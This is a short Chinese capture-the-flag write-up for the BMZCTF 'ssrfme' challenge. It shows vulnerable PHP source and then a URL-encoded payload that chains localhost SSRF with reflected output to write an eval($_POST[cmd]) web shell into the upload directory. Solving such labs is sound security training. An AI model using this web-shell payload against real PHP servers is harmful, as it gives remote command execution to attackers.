BMZCTF：ssrfme

http://bmzclub.cn/challenges#ssrfme

<?php
if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = "upload/".$_GET['path'];
    
}else{
    show_source(__FILE__);
    exit();
}

if(strpos($path,'..') > -1){
    die('This is a waf!');
}


if(strpos($url,'http://127.0.0.1/') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.Geeker";
}

关键点在这里

file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";

file_put_contents()要写入的内容是file_get_contents($url)返回的内容
接下来看看如何构造才能使得file_get_contents返回带有shell的内容

?file=http://127.0.0.1/&path=<?php phpinfo();?>

查看源代码

echo "console.log($path update successed!)";

这段代码使得我们传入的path参数会被写入到页面中
那么就可以构造

http://127.0.0.1/?file=http://127.0.0.1/&path=<?php eval($_POST[cmd]);?>

这样file_get_contents($url)返回的内容里面就有我们想要写入的shell
将上面这段url编码一次，然后加上path变量传入的文件名即可构造完整的payload

?path=mochu.php&file=http%3a%2f%2f127.0.0.1%2f%3ffile%3dhttp%3a%2f%2f127.0.0.1%2f%26path%3d%3c%3fphp+eval(%24_POST%5bcmd%5d)%3b%3f%3e

访问http://www.bmzclub.cn:20351/upload/mochu.php即可